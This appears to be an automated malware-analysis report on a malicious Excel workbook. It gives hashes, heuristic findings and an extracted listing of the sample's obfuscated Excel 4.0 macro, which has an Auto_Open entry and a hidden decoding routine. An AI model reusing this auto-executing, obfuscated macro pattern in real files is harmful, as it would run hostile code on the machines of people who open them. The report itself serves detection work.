Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b8d351cc02848d88…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:37 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: afa7799a1dbedf3c0006fae28fa9ef19 SHA-1: e00ca14e730b68a81f8a4c6421789b9df0d13fae SHA-256: b8d351cc02848d885b7fbc7aff2e5fe9d0cf5823a34314686d100660d55e1f49
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6829 bytes
SHA-256: 224140681dcd461f24c4d917024d1a355c44138e884e7cfba17ec0ea4c61be43
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  FyltgGvFWZu
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B174 
' 0018     24 LABEL : Cell Value, String Constant - BHVUNqhWd len=0 
' 0018     24 LABEL : Cell Value, String Constant - bYlVDbHwV len=0 
' 0018     22 LABEL : Cell Value, String Constant - Bzxadjz len=0 
' 0018     20 LABEL : Cell Value, String Constant - dmgmo len=0 
' 0018     24 LABEL : Cell Value, String Constant - evGYfkiBC len=0 
' 0018     22 LABEL : Cell Value, String Constant - fAuBWZG len=0 
' 0018     20 LABEL : Cell Value, String Constant - FezRJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - FkmAGKkU len=0 
' 0018     26 LABEL : Cell Value, String Constant - FNIviQXQOdp len=0 
' 0018     21 LABEL : Cell Value, String Constant - gDfGIA len=0 
' 0018     24 LABEL : Cell Value, String Constant - HZVFVPaEv len=0 
' 0018     24 LABEL : Cell Value, String Constant - kqjArSrqP len=0 
' 0018     21 LABEL : Cell Value, String Constant - oIeCjj len=0 
' 0018     25 LABEL : Cell Value, String Constant - sAPSjmzEkr len=0 
' 0018     22 LABEL : Cell Value, String Constant - SoIScaE len=0 
' 0018     20 LABEL : Cell Value, String Constant - TRvAP len=0 
' 0018     24 LABEL : Cell Value, String Constant - UduNuybRl len=0 
' 0018     26 LABEL : Cell Value, String Constant - vMeiwKDload len=0 
' 0018     23 LABEL : Cell Value, String Constant - WbfhQuOG len=0 
' 0018     20 LABEL : Cell Value, String Constant - xaHcd len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  FyltgGvFWZu,R58,"",108.00000000000000000000
'  FyltgGvFWZu,R59,"",-292.00000000000000000000
'  FyltgGvFWZu,R60,"",243.00000000000000000000
'  FyltgGvFWZu,R61,"",-1000.00000000000000000000
'  FyltgGvFWZu,R62,"",-500.00000000000000000000
'  FyltgGvFWZu,R63,"",532.00000000000000000000
'  FyltgGvFWZu,B83,"SET.NAME("FezRJ",0+VALUE("0"))",""
'  FyltgGvFWZu,B86,"SET.NAME("sAPSjmzEkr",FezRJ)",""
'  FyltgGvFWZu,B88,"SET.NAME("oIeCjj",FezRJ)",""
'  FyltgGvFWZu,B93,"SET.NAME("SoIScaE",COUNTA(WbfhQuOG))",""
'  FyltgGvFWZu,B97,"SET.NAME("Bzxadjz",COUNTA(dmgmo))",""
'  FyltgGvFWZu,B101,[],""
'  FyltgGvFWZu,B106,"SET.NAME("TRvAP","")",""
'  FyltgGvFWZu,B111,"sAPSjmzEkr",""
'  FyltgGvFWZu,B113,"SET.NAME("gDfGIA",HLOOKUP("*",WbfhQuOG,sAPSjmzEkr,FALSE))",""
'  FyltgGvFWZu,B116,"evGYfkiBC",""
'  FyltgGvFWZu,B119,"SET.NAME("FkmAGKkU",FezRJ)",""
'  FyltgGvFWZu,B122,[],""
'  FyltgGvFWZu,B126,"FkmAGKkU",""
'  FyltgGvFWZu,B131,"UduNuybRl",""
'  FyltgGvFWZu,B135,"xaHcd",""
'  FyltgGvFWZu,B140,"FNIviQXQOdp",""
'  FyltgGvFWZu,B144,"SET.NAME("fAuBWZG",VALUE(HLOOKUP("*",dmgmo,FNIviQXQOdp,FALSE)))",""
'  FyltgGvFWZu,B146,"BHVUNqhWd",""
'  FyltgGvFWZu,B149,"TRvAP",""
'  FyltgGvFWZu,B153,"oIeCjj",""
'  FyltgGvFWZu,B157,NEXT(),""
'  FyltgGvFWZu,B160,"HZVFVPaEv",""
'  FyltgGvFWZu,B164,[],""
'  FyltgGvFWZu,B167,"kqjArSrqP",""
'  FyltgGvFWZu,B169,NEXT(),""
'  FyltgGvFWZu,B172,RETURN(),""
'  FyltgGvFWZu,B198,"SET.NAME("vMeiwKDload",B83)",""
'  FyltgGvFWZu,B201,"WbfhQuOG",""
'  FyltgGvFWZu,B203,"SET.NAME("dmgmo",R49C12)",""
'  FyltgGvFWZu,B207,"SET.NAME("kqjArSrqP",214)",""
'  FyltgGvFWZu,B210,"SET.NAME("bYlVDbHwV",2)",""
'  FyltgGvFWZu,B213,vMeiwKDload(),""
'  FyltgGvFWZu,B214,HALT(),""

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